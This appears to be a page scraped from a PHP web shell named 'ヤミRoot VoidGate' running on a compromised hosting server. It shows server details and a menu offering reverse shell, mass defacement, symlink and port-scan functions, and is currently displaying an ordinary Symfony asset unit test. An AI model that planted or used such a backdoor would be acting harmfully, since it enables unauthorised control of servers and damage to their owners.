ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
symfony
/
symfony
/
src
/
Symfony
/
Component
/
Asset
/
Tests
/
Viewing: PackageTest.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Asset\Tests; use PHPUnit\Framework\TestCase; use Symfony\Component\Asset\Package; use Symfony\Component\Asset\VersionStrategy\StaticVersionStrategy; use Symfony\Component\Asset\VersionStrategy\EmptyVersionStrategy; class PackageTest extends TestCase { /** * @dataProvider getConfigs */ public function testGetUrl($version, $format, $path, $expected) { $package = new Package($version ? new StaticVersionStrategy($version, $format) : new EmptyVersionStrategy()); $this->assertEquals($expected, $package->getUrl($path)); } public function getConfigs() { return array( array('v1', '', 'http://example.com/foo', 'http://example.com/foo'), array('v1', '', 'https://example.com/foo', 'https://example.com/foo'), array('v1', '', '//example.com/foo', '//example.com/foo'), array('v1', '', '/foo', '/foo?v1'), array('v1', '', 'foo', 'foo?v1'), array(null, '', '/foo', '/foo'), array(null, '', 'foo', 'foo'), array('v1', 'version-%2$s/%1$s', '/foo', '/version-v1/foo'), array('v1', 'version-%2$s/%1$s', 'foo', 'version-v1/foo'), array('v1', 'version-%2$s/%1$s', 'foo/', 'version-v1/foo/'), array('v1', 'version-%2$s/%1$s', '/foo/', '/version-v1/foo/'), ); } public function testGetVersion() { $package = new Package(new StaticVersionStrategy('v1')); $this->assertEquals('v1', $package->getVersion('/foo')); } }
Coded With 💗 by
0x6ick